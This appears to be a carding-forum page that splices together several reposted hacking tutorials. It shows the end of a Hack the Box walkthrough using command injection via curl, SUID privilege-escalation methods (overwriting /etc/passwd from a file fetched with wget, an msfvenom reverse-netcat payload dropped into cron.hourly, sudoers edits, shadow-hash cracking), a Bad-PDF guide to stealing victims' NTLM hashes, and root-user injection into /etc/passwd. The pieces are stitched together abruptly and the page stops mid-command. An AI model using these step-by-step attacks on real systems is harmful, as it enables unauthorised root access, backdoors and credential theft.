curl "http://10.10.10.69/sync?opt=' l's' /home/Fl'uxC'apa'cit'orI'n'c'"
curl "http://10.10.10.69/sync?opt=' c'at' /home/Fl'uxC'apa'cit'orI'n'c/u'ser'.'txt''"
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-1mEST3TtIOg/Wv5vZsZnzDI/AAAAAAAAW6M/oDYrCJhBuSQgiOSlSxaxocRdcLW5r1yCACLcBGAs/s1600/13.png?w=687&ssl=1)
Privilege Escalation
Now the goal was root.txt and taking a lesson from the previous experience, I chose to run the sudo -l command to check the sudo privileges of the current user.
curl "http://10.10.10.69/sync?opt=' sudo -l'"
1
curl "http://10.10.10.69/sync?opt=' sudo -l'"
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-1C0bKtXYaXU/Wv5vaHDL7TI/AAAAAAAAW6U/Utcwz525I-wZsaO37-d22Rlqm9fTEv1JgCLcBGAs/s1600/14.png?w=687&ssl=1)
Awesome!! It told us that we can run a “monit” script with root privileges without using a password inside the /home/themiddle/directory.
Let’s open it with the help of the cat command as done here:
curl "http://10.10.10.69/sync?opt=' c'at' /h'ome/themiddle/.monit''"
1
curl "http://10.10.10.69/sync?opt=' c'at' /h'ome/themiddle/.monit''"
After reading the .monit file, we concluded that the script takes two parameters i.e. cmd string and base64 decoding which will match the conditions according to it and passes the final result to bash -c as the parameter.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-lROZ-_g5GsY/Wv5vaFvPXzI/AAAAAAAAW6Y/gTkwzvMdYoAj7GYfE97WtpB5SceyGNb1gCLcBGAs/s1600/15.png?w=687&ssl=1)
It was therefore clear that the first parameter will match the string “cmd” and the second will decode the base64 value, which is why we first generated the base64 value for /root/root.txt because we were well aware of the location of the root.txt file from our previous challenges.
echo "cat /root/root.txt" | base64
1
echo "cat /root/root.txt" | base64
Now with the help of sudo privilege, execute the command to gain root access and complete the task by grabbing root.txt
curl "http://10.10.10.69/sync?opt=' sudo /h'ome/themiddle/.monit' cmd Y2F0IC9yb290L3Jvb3QudHh0Cg=='"
1
curl "http://10.10.10.69/sync?opt=' sudo /h'ome/themiddle/.monit' cmd Y2F0IC9yb290L3Jvb3QudHh0Cg=='"
HURRAYYYY!!! We reached the goal and successfully found the root.txt file.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-35uLOmRyVy8/Wv5vai6H7cI/AAAAAAAAW6c/8iurWmDLAjkqTVPt6tki-nW2rSp5OqMBQCLcBGAs/s1600/16.png?w=687&ssl=1)
In our previous article we have discussed “Privilege Escalation in Linux using etc/passwd file” and today we will learn “Privilege Escalation in Linux using SUID Permission.” While solving CTF challenges we always check suid permissions for any file or command for privilege escalation. It is very important to know what SUID is, how to set SUID and how SUID helps in privilege escalation. You can read our previous article where we had applied this trick for privilege escalation. Open the links given below:
[To see content please register here] Hack the Box Challenge: Bank Walkthrough
[To see content please register here] Hack the Box Challenge: Haircut Walkthrough
Let’s Start with Theoretical Concept !!
As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following image.
![[Image: 0.1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-3On44xqaRWQ/WvxyU2oXLII/AAAAAAAAW3g/ms6yFU_xJ_E1WxrCTHJsZX7j53D1aJdVACLcBGAs/s1600/0.1.png?w=687)
Hence it is clear that the maximum number of bit is used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set chmod 755, then it will look like as rwxr-xr-x.
But when special permission is given to each user it becomes SUID, SGID, and sticky bits. When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID) and when bit “2” is set to group it becomes SGID (Set Group ID) and if other users are allowed to create or delete any file inside a directory then sticky bits “1” is set to that directory.
![[Image: 0.2.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-V6G2dcR6rew/WvxyU3zB5NI/AAAAAAAAW3o/es8P06opgNwUg8gUPjzcLO29dgVYBOOpQCLcBGAs/s1600/0.2.png?w=687)
What is SUID Permission?
SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges. Assume we are accessing the target system as a non-root user and we found suid bit enabled binaries, then those file/program/command can run with root privileges.
How to set suid?
Basically, you can change the permission of any file either using the “Numerical” method or “Symbolic” method. As result, it will replace x from s as shown in the below image which denotes especial execution permission with the higher privilege to a particular file/command. Since we are enabling SUID for Owner (user) therefore bit 4 or symbol s will be added before read/write/execution operation.
![[Image: 0.3.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-a6Pqx7k0g4o/WvxyU6zyHDI/AAAAAAAAW3k/5XoCsMKnS7o9OsnJL4BgMLF584zaJ2LrwCLcBGAs/s1600/0.3.png?w=687)
If you execute ls -al with the file name and then you observe the small ‘s’ symbol as in the above image, then its means SUID bit is enabled for that file and can be executed with root privileges.
How to Find SUID Files
By using the following command you can enumerate all binaries having SUID permissions:
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
- /denotes start from the top (root) of the file system and find every directory
- -perm denotes search for the permissions that follow
- -u=sdenotes look for files that are owned by the root user
- -typestates the type of file we are looking for
- f denotes a regular file, not the directories or special files
- 2 denotes to the second file descriptor of the process, i.e. stderr (standard error)
- > means redirection
- /dev/null is a special filesystem object that throws away everything written into it.
HOW SUID helps in privilege escalation?
In Linux, some of the existing binaries and commands can be used by non- root users to escalate root access privileges if the SUID bit is enabled. There are some famous Linux / Unix executable commands that can allow privilege escalation: Bash, Cat, cp, echo, find, Less, More, Nano, Nmap, Vim and etc
Visit here more: [To see content please register here]
Let’s get deep through practical work. First, create a user that should not be a sudo group user. Here, we have added user “ignite” whose UID is 1001 and GID is 1001 and therefore ignite is a non- root user.
adduser ignite
1
adduser ignite
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-OAzIN7-WWwQ/WvxyVfOXLHI/AAAAAAAAW3s/ictB-Ge8ZF8J1rXK3v5x-pFcaaNBssdhgCLcBGAs/s1600/1.png?w=687)
Privilege Escalation using the copy command
If suid bit is enabled for the cp command, which is used to copy the data, it can lead to an escalation privilege to gain root access.
For example, suppose you (system admin) want to give cp command SUID permission. Then you can follow the steps below to identify its location and current permission, after which you can enable SUID bit by changing permission.
which cp
ls -al /bin/cp
chmod u+s /bin/cp
1
2
3
which cp
ls -al /bin/cp
chmod u+s /bin/cp
![[Image: 2.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-9BWxuZ5W10w/WvxyXlTARxI/AAAAAAAAW4U/YornxM5G42AeaVRmDMaF7cdWS_zFwvRmQCLcBGAs/s1600/2.png?w=687)
1st Method
On the other hand, start your attacking machine and first compromise the target system and then move to the privilege escalation phase. Suppose I successfully log into the victim’s machine via ssh and access the non-root user terminal. Then by using the following command, you can list all binaries with SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
![[Image: 4.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-iY8NhmO669A/WvxybEsWJ3I/AAAAAAAAW5E/9Q-z5UZXXmUsm5AZpLhuJOk_zsXV6o8ZgCLcBGAs/s1600/4.png?w=687)
In the above image, you can observe that it is showing so many files but we are interested in /bin/cp file. Because now we can copy /etc/passwd file for reading user list. Therefore I copy /passwd file inside the HTML directory.
cp /etc/passwd /var/www/html
1
cp /etc/passwd /var/www/html
![[Image: 5.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-v14x483xz4s/WvxybS-uCGI/AAAAAAAAW5I/FibMl1y4P_8plvBq-HBqg6FCom3-UQD5QCLcBGAs/s1600/5.png?w=687)
On other hands, we have generated a new encrypted password: pass123 using OpenSSL passwd
![[Image: 6.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-VDAaVMoyUcY/Wvxybu8ZBxI/AAAAAAAAW5M/WYLHlBekkxsuYZ1ktBOr-nRqpvbGI4aeQCLcBGAs/s1600/6.png?w=687)
We have copied the /passwd file into the web directory, i.e. /var/www/html, so I can open it through the web browser and then copy the entire contents of the /passwd file into a text file and then add our own user with root UID, GID, and directory.
In our [To see content please register here] , we have already discussed how to add a user /etc/passwd using the OpenSSL passwd utility.
![[Image: 7.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-axd9mUd65nM/WvxycFPrcAI/AAAAAAAAW5Q/ttD38Zdk86MsuEurBeaS6SyvcgvObDvaACLcBGAs/s1600/7.png?w=687)
Run Python HTTP server for transferring our edited passwd file into target’s machine.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 8.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-X1hHbCWFPaM/WvxycO25OhI/AAAAAAAAW5U/Ni7HM1HYdkInY46C6yd8pUwWBWz5EawkgCLcBGAs/s1600/8.png?w=687)
As we all know, the /tmp directory has all permission to create or delete any file, so we have downloaded our passwd file inside it. After it is downloaded, we have copied the /tmp/passwd data to /etc/passwd as a result, it will overwrite the original passwd file.
cd /tmp
wget //192.168.1.108/passwd
cp passwd /etc/passwd
1
2
3
cd /tmp
wget //192.168.1.108/passwd
cp passwd /etc/passwd
With the help of tail command, we ensured that our user “hack” is either the part of /etc/passwd file. Since we have added our own user with root privileges let’s get into the root directory.
su hack
whoami
1
2
su hack
whoami
And Yessssssss !! This is an incredible way to escalated root privilege.
![[Image: 9.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-A4ck8bhTQnc/WvxyckMsi5I/AAAAAAAAW5Y/GZ8ZbA_EIS0Nd7etJCChmhwt5VXl8o6jgCLcBGAs/s1600/9.png?w=687)
2nd Method
Similarly, if SUID bit is enabled for the cp command, we can also transfer our backdoor to the target system. Here, we have generated netcat backdoor for reverse connection using the msfvenom command.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
![[Image: 10.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-1KNXzT9bh3g/WvxyVX_ygnI/AAAAAAAAW3w/Wc5qzOCOpME7sqifVHvTmtsCzkA9D-T2wCLcBGAs/s1600/10.png?w=687)
Then copy the above highlighted code and paste it into a text file by editing #! /bin/bash, then ready to transfer it to the target system, I saved it as raj.sh.
![[Image: 11.1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-c4pCz4EBEPM/WvxyVnGdbgI/AAAAAAAAW30/rKNcBck6CdAwU8cOBw2k381eEBFE_eKBACLcBGAs/s1600/11.1.png?w=687)
Now we are all aware of the Linux crontab utility that runs files hourly, daily, weekly and monthly, so I copied raj.sh to /etc/cron.hourly, so it will run raj.sh after one hour.
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
1
2
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
![[Image: 12.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-IZbwHF6Knf0/WvxyV4_0ozI/AAAAAAAAW34/ZwT5UHJkIKI42vlEeoNBC9bI2s8HVjxAQCLcBGAs/s1600/12.png?w=687)
Other hands we started Netcat listener in a new terminal and as the hour past it gives reverse connection of the target’s system with root privileges.
Hence we saw how a single cp command can lead to privilege escalation if SUID bit is ON. You can try your own way to escalated root privilege using cp command.
![[Image: 13.1.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-ek0qY2yI0E0/WvxyWPV7beI/AAAAAAAAW38/6YCxTtWU5vwUq8yh8PhcIvV55DsNBHDZwCLcBGAs/s1600/13.1.png?w=687)
Privilege Escalation Using Find Command
Similarly, we can escalate root privilege if SUID bit is ON for /usr/bin/find.
For example, suppose you (system admin) want to give SUID permission for Find command. Then you can use which command to identify its location and current permission after then you can enable SUID bit by changing permission.
which find
ls -al /usr/bin/find
chmod u+s /usr/bin/find
1
2
3
which find
ls -al /usr/bin/find
chmod u+s /usr/bin/find
![[Image: 13.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-Mq_nAjRBjyU/WvxyWDgiz3I/AAAAAAAAW4A/TdwC68202U8v6BDayNYAEbf-i4QOHAu5gCLcBGAs/s1600/13.png?w=687)
Again compromise the target system and then move for privilege escalation phase as done above. Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled to find command which means we can execute any command within find command. To do so first we create an empty file “raj” and then run the whoami command as shown below.
touch raj
find raj -exec "whoami" \;
1
2
touch raj
find raj -exec "whoami" \;
If an attacker successfully enumerated SUID bit for /usr/bin/find then it will allow him to execute any malicious command such netcat bin/bash shell or may fetch important system information for privilege escalation.
![[Image: 14.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-wby8QCDIggs/WvxyWYI0tsI/AAAAAAAAW4E/nTZCNCTutAYFWV_7lFCuEc_iVq_xqDJiACLcBGAs/s1600/14.png?w=687)
Privilege Escalation Using Vim editor
Similarly, we can escalate root privilege if SUID bit is ON for Vim editor. For example, suppose you (system admin) want to give SUID permission for Vim editor. Then you can use “which” command to identify its location and current permission after then you can enable SUID bit by changing permission.
which vim
ls -al /usr/bin/vim
ls -al /usr/bin/alternatives/vim
chmod u+s /usr/bin/vim.basic
1
2
3
4
which vim
ls -al /usr/bin/vim
ls -al /usr/bin/alternatives/vim
chmod u+s /usr/bin/vim.basic
You will found vim.basic through symlinking as shown in the below image.
![[Image: 15.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-8QyjAhfMZ14/WvxyW8mTr9I/AAAAAAAAW4M/9clrfSeu9LsZq8xaLRfUxp3Y9N6RDCj6wCLcBGAs/s1600/15.png?w=687)
Again compromise the target system and then move for privilege escalation phase as done above. Then by using the following command, you can enumerate all binaries who’s having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for /usr/bin/vim.basic and hence now we can edit any file which through vim that can be editable only by sudo or root user.
![[Image: 16.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-gyJKVaOiBTA/WvxyW-RwfcI/AAAAAAAAW4I/swC0zqxRSQ8e-DIBOoxh9M2qnyBWlR9cgCLcBGAs/s1600/16.png?w=687)
As we know ignite is non-root user who has least permissions, since vim has SUID permission, therefore, we can edit the sudoers file through it and can change permissions for user “ignite”. So we open sudoers file by typing visudo command and give all permission to user “ignite” as shown in the image.
ignite ALL=(ALL:ALL) ALL
1
ignite ALL=(ALL:ALL) ALL
![[Image: 17.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-VlkK5GvWYNY/WvxyXAVHafI/AAAAAAAAW4Q/8IRLQpMq0JEPC5p2sVO4k2tJRcf7-eJuwCLcBGAs/s1600/17.png?w=687)
Now let access root directory as shown in below image.
sudo -l
sudo bash
id
1
2
3
sudo -l
sudo bash
id
Great!! This trick also works superbly for privilege escalation.
![[Image: 18.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-ata-Lhvk0jQ/WvxyXgPUztI/AAAAAAAAW4Y/d8LRRZny-MAxt6WAej996r5OeeNyG6LpQCLcBGAs/s1600/18.png?w=687)
Privilege Escalation using Saved Script
There are maximum chances to get any kind of script for the system or program call, it can be any script either PHP, Python or C language script. Suppose you (system admin) want to give SUID permission to a C language script which will provide bash shell on execution.
So here we have coded a c program which will call system for bash shell and saved it as “asroot.c”.
![[Image: 19.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-PqTZIanw9No/WvxyX47olsI/AAAAAAAAW4c/0kvDBAhDfQYmc4XlB7TXeUI1dr-3vQu5gCLcBGAs/s1600/19.png?w=687)
Then create a rootshell directory inside /bin directory and copy the asroot.c file in rootshell directory then run gcc compiler for compilation.
mkdir /bin/rootshell
cd /bin/rootshell
cp /home/raj/Desktop/asroot.c .
ls
gcc asroot.c -o shell
chmod u+s shell
ls -al shell
1
2
3
4
5
6
7
mkdir /bin/rootshell
cd /bin/rootshell
cp /home/raj/Desktop/asroot.c .
ls
gcc asroot.c -o shell
chmod u+s shell
ls -al shell
![[Image: 20.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-aUnXHSZwWuE/WvxyYnUK3oI/AAAAAAAAW4k/UiNPlFvD3rEx7UGpSUm6LESmYTp2tbUQwCLcBGAs/s1600/20.png?w=687)
Now again compromise the target’s system and use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for so many binary files but we are interested in /bin/rootshell/shell. So we move into /bin/rootshell directory and run the “shell” script, as result, we get root access as shown below.
cd /bin/rootshell/shell
./shell
id
1
2
3
cd /bin/rootshell/shell
./shell
id
Hence we saw how we can escalate root privilege if SUID bit is enabled for any script, although it is not possible to get such a script that calls bash shell if you found any script with SUID permission then using above techniques you can modify the contents of that script to get the bash shell.
![[Image: 21.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-yYeNhfClOXE/WvxyYmiPEII/AAAAAAAAW4o/ZMHF3Fa-M4AnC_TdrVxSrN7cvsrHaBnfgCLcBGAs/s1600/21.png?w=687)
Privilege Escalation using Nano Editor
Similarly, we can escalate root privilege if SUID bit is ON for nano editor. For example, suppose you (system admin) want to give SUID permission for nano editor. Then you may follow the below steps to identify its location and current permission so that you can enable SUID bit by changing permission.
which nano
ls -al /bin/nano
chmod u+s /bin/nano
1
2
3
which nano
ls -al /bin/nano
chmod u+s /bin/nano
![[Image: 22.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-DCQh9Nrv190/WvxyYVzva6I/AAAAAAAAW4g/BIQ8rbhgYSMFSByffYkbXSb-9GJV4TjCgCLcBGAs/s1600/22.png?w=687)
Again compromise the target system and then move for privilege escalation phase as done above. Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for /bin/nano and now let’s open /etc/passwd file to edit own user as done above by using OpenSSL passwd.
![[Image: 23.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-CLMQ6lkYo3k/WvxyZDWMZVI/AAAAAAAAW4w/P0iRGA5tdfsmp2Y3zKYsrTck-efg_CfvQCLcBGAs/s1600/23.png?w=687)
On other hands, I have generated a new encrypted password: 123 using OpenSSL passwd
![[Image: 24.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-KPdDjG0ppRM/WvxyZJW8ztI/AAAAAAAAW4s/2cK2zXkMSE4zrpnj1sK7aHcKzXEMia-KgCLcBGAs/s1600/24.png?w=687)
Now open passwd file with nano editor and add your own user as done above. Here you can observe I have created demo user with an encrypted password in the victim’s system.
nano /etc/passwd
1
nano /etc/passwd
Since we have added our own user with root privileges let’s get into the root directory.
![[Image: 25.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-ionwhxOvijc/WvxyZsuSreI/AAAAAAAAW40/7uIJpx80bKQyQ_eU_zm5ptlrRyywrhUSQCLcBGAs/s1600/25.png?w=687)
su demo
id
1
2
su demo
id
![[Image: 26.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-4Bst583jqt4/WvxyaK3V9EI/AAAAAAAAW44/UVNtkH3kIpcLeK6rTBb-TZavrH_rCj8XACLcBGAs/s1600/26.png?w=687)
2nd Method
If suid bit is enabled for /bin/nano then we can steal the password from inside /etc/shadow file. So after compromising target’s machine we had opened shadow file in nano editor and copy the encrypted password set for user: raj.
![[Image: 27.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-b1LASTCbvRM/WvxyadmQNBI/AAAAAAAAW48/aVZ4b2kQx9olM5QmgfM8xTVY1EepceuKACLcBGAs/s1600/27.png?w=687)
Now paste above copy code into a text file and saved as a hash on the desktop, after then used John the ripper to decode it as shown below. It has given raj: 123 as password, now try to login into target’s system through raj account.
So Today we have demonstrated how the SUID permission can lead to privilege escalation even if it is allowed to a normal copy, cat, nano, vim and so commands and programs.
![[Image: 28.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-I21Bcs3-DgM/Wvxya5pdyNI/AAAAAAAAW5A/2dBHmM21WRsvBoXc4ZDxxU14No2wWB0kACLcBGAs/s1600/28.png?w=687)
Today we are demonstrating stealing NTLM hashes through a pdf file. We have already discussed the various methods to Capture NTLM Hashes in a Network in our [To see content please register here] article. Recently a new tool has launched “Bad-PDF” and in this article, we are sharing our experience.
Bad-PDF creates malicious PDF to steal NTLM(NTLMv1/NTLMv2) Hashes from windows machines, it utilizes vulnerability disclosed by checkpoint team to create the malicious PDF file. Bad-Pdf reads the NTLM hashes using Responder listener.
This method works for all PDF readers(Any version) and java scripts are not required for this attack, most of the EDR/Endpoint solution fail to detect this attack.
git clone [To see content please register here]
cd Bad.Pdf
ls
chmod 777 badpadf.py
1
2
3
4
git clone [To see content please register here]
cd Bad.Pdf
ls
chmod 777 badpadf.py
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-S7PviZuriGQ/WvcibhukjzI/AAAAAAAAW24/Y4DuW8AcqRktueZYaaGLxnCRSPbi9W40wCLcBGAs/s1600/1.png?w=687&ssl=1)
Now run the python file with the help of following command given below:
python badpdf.py
1
python badpdf.py
Then it will try to connect with Responder through its default path i.e. /user/bin /responder but in our case, the location of the responder is user/sbin/responder. After then it will ask your network IP, the name of the output file and interface name, submit this information as per your network.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-7Q7Q4spljhk/WvcicOb-ZAI/AAAAAAAAW3A/vFr0LMJj4iYCnzI4GagnaEY9vrgCpmZEACLcBGAs/s1600/2.png?w=687&ssl=1)
Then it will create a malicious pdf file with name bad.pdf, now transfer this pdf file to your target.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/--duggI6W-fw/Wvcib3xvocI/AAAAAAAAW28/ANZHne71zs0LL5LiVNxOQwpp9cpy8E_sgCLcBGAs/s1600/3.png?w=687&ssl=1)
So, when the victim will click our malicious file, his NTLM hash will be captured as shown in below image. Here you can observe username ‘raj’ along with its hash password. Now copy the hash value in a text document so that you can crack this hash value for retrieving the password.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-J_cmxCjRwTw/WvcicT17bEI/AAAAAAAAW3E/aTse4KisZ2Y3Dep0fBWy-f41U5QbhQwKgCLcBGAs/s1600/7.png?w=687&ssl=1)
We have pasted the hash value in a text file and save it as “hash” on the desktop. Later we had used John the ripper for cracking the hash.
john hash
1
john hash
Awesome!!! We have retrieved password: 133 for user: raj.
|
|
|
|
| [Guide] How to Editing /etc/passwd File for Privilege Escalation |
|
Posted by: NINZA - 05-14-2020, 08:48 AM - Forum: Carders Home
- No Replies
|
 |
In this article, we will learn “Various methods to alter etc/passwd file to create or modify a user for root privileges”. Sometimes, it is necessary to know ‘how to edit your own user for privilege escalation in the machine’ inside /etc/passwd file, once the target is compromised. You can read our previous article where we had applied this trick for privilege escalation. Open the links given below:
[To see content please register here] : Hack the Box Challenge: Apocalyst Walkthrough
[To see content please register here] : Hack the Hackday Albania VM (CTF Challenge)
Firstly, we should be aware of /etc/passwd file in depth before reaching the point. Inside etc directory, we will get three most important files i.e. passwd, group, and shadow.
etc/passwd: It is a human-readable text file which stores information of user account.
etc/group: It is also a human-readable text file which stores group information as well as user belongs to which group can be identified through this file.
etc/shadow: It is a file that contains encrypted password and information of the account expire for any user.
The format of details in /passwd File
![[Image: 0.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-T7mSt3TuJFo/WvbkVfmmViI/AAAAAAAAW0Y/Db4b8D36XQQSXh3DREfXVt8gSiPsO7EBwCLcBGAs/s1600/0.png?w=687)
![[Image: 1.1.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-JlUe4xMReCo/WvbkVBafMLI/AAAAAAAAW0U/e3WBMka5w-UBboTIVLE6utYPkkFLuVwDACLcBGAs/s1600/1.1.png?w=687)
Get into its Details Description
Username: First filed indicates the name of the user which is used to login.
Encrypted password: The X denotes encrypted password which is actually stored inside /shadow file. If the user does not have a password, then the password field will have an *(asterisk).
User Id (UID): Every user must be allotted a user ID (UID). UID 0 (zero) is kept for root user and UIDs 1-99 are kept for further predefined accounts, UID 100-999 are kept by the system for the administrative purpose. UID 1000 is almost always the first non-system user, usually an administrator. If we create a new user on our Ubuntu system, it will be given the UID of 1001.
Group Id (GID): It denotes the group of each user; like as UIDs, the first 100 GIDs are usually kept for system use. The GID of 0 relates to the root group and the GID of 1000 usually signifies the users. New groups are generally allotted GIDs begins from 1000.
Gecos Field: Usually, this is a set of comma-separated values that tells more details related to the users. The format for the GECOS field denotes the following information:
User’s full name
Building and room number or contact person
Office telephone number
Home telephone number
Any other contact information
Home Directory: Denotes the path of the user’s home directory, where all his files and programs are stored. If there is no specified directory then / becomes user’s directory.
Shell: It denotes the full path of the default shell that executes the command (by the user) and displays the results.
NOTE: Each field is separated by (colon)
Let’s Start Now!!
Adding User by Default Method
Let’s first open /etc/passwd file through cat command, to view the present users available in our system.
![[Image: 1.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-2kj7MmmH520/WvbkVeeMAhI/AAAAAAAAW0c/ldtmaSYFqisqarZ4bfob6CKj_UAQgS_-wCLcBGAs/s1600/1.png?w=687)
From the image given above, you can perceive that “raj” is the last user with uid 1000. Here gid 1000 denotes it is a non-system user.
Let see what happens actually in /passwd file, when we add any user with adduser command. So here you can clearly match the following information from below given image.
adduser user1
Username: user1
GID: 1002
UID: 1001
Enter password: (Hidden)
Home Directory: /home/user1
Gecos Filed: Full Name, Room Number, Work phone, Home Phone, Other (are blanked)
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-3DUf8uRPCHk/WvbkXJ7lQoI/AAAAAAAAW08/bx6dIcuSkpYam-aWqNidptraqQf9vwQhwCLcBGAs/s1600/2.png?w=687)
When you will open /passwd file then you will notice that all the above information has been stored inside /etc/passwd file.
![[Image: 3.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-3HI9FUhz7aY/WvbkYSFJ_RI/AAAAAAAAW1U/772MaMqD6fgkku1nSd-6Sy_otfrYXOuNQCLcBGAs/s1600/3.png?w=687)
Manually Editing User inside /etc/passwd File
Generally, a normal user has read-only permission for passwd file but sometimes it is also possible that a user has read/write permission, in that scenario we can add our own user inside /etc/passwd file with the help of above theory.
user2:*:1002:1003:,,,:/home/user2:/bin/bash
1
user2:*:1002:1003:,,,:/home/user2:/bin/bash
The *(asterisk) sign denotes empty password for user2.
![[Image: 4.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-nWFqpPn69RQ/WvbkYw2gXsI/AAAAAAAAW1c/odVt8YuU_HswruCnex1oHQTuZyKY8s5cQCLcBGAs/s1600/4.png?w=687)
Since we have allotted 1003 GID for user2, therefore, we need to address it in /etc/group file too.
Follow the format given below:
Syntax: Username:X:GID
Since we don’t have a password, therefore, use * sign at the place of X.
user2:*:1003:
1
user2:*:1003:
![[Image: 5.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-keULd7ciHp0/WvbkZFe5UjI/AAAAAAAAW1g/oSDK71f2HhEveXG56OVXHhIkFPc1a3WMACLcBGAs/s1600/5.png?w=687)
Now, set a password for user2 with passwd command and enter the password.
passwd user2
1
passwd user2
![[Image: 6.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-e6It-zA107I/WvbkZFRCJXI/AAAAAAAAW1k/u1hId4zIbBopRGcO0cMl2msviBvAaWt1wCLcBGAs/s1600/6.png?w=687)
Since we have created a new user ‘user2’ manually without using the adduser command, therefore, we will not find any new entry in /etc/shadow file. But it’s there in the /etc/passwd file, here the * sign has been replaced by encrypted password value. In this way, we can create our own user for privilege escalation.
![[Image: 7.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-y6Vu14RBlKk/WvbkZuXq2dI/AAAAAAAAW1o/gBZuz9ciSsAjszmazvqBBzkjkt970oOTACLcBGAs/s1600/7.png?w=687)
OpenSSL
Sometimes it is not possible to execute passwd command to set the password of a user; in that case, we can use OpenSSL command which will generate an encrypted password with salt.
OpenSSL passwd will compute the hash of the given password using salt string and the MD5-based BSD password algorithm 1.
Syntax: openssl passwd -1 -salt [salt value] {password}
openssl passwd -1 -salt user3 pass123
1
openssl passwd -1 -salt user3 pass123
![[Image: 8.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-DfhkvJ6qgic/WvbkZ6YLU1I/AAAAAAAAW1s/CJEOsdHTuEcdOs-FPThcM58xDl_gEw4GwCLcBGAs/s1600/8.png?w=687)
We will get the encrypted password, after that, open /passwd file by typing vipw command in the terminal and add username manually. Follow the manual step of adding new user “user3” and paste encrypted value at the place of * or X for a password.
In below image you can observe that, I have allotted uid: 0 and gid: 0 and home directory /root/root hence we have given root privilege to our user3.
![[Image: 9.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-8gMkIjblQmE/WvbkaQNWzbI/AAAAAAAAW1w/LiH8O0Vt9pAcqsP2ypd44123G9dr-7vNQCLcBGAs/s1600/9.png?w=687)
Now switch user and access the terminal through user3 and confirm the root access.
su user3
whoami
id
1
2
3
su user3
whoami
id
YESSSSSS it is working successfully.
Note: You can also modify other user’s password by replacing: X: from your own encrypted passwd and login with that user account using your password
![[Image: 10.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-rWfzThNnu94/WvbkV5RyuVI/AAAAAAAAW0g/v3nlsfDZCqgjI6NTIsUPAxCe2E0AwdENQCLcBGAs/s1600/10.png?w=687)
mkpasswd
mkpasswd is similar to OpenSSL passwd which will generate a hash of given password string.
Syntax: mkpasswd -m [hash type] {password}
mkpasswd -m SHA-512 pass
